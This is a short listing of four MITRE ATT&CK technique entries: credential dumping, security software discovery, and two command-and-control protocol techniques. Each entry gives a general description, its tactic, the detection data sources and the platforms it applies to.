Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre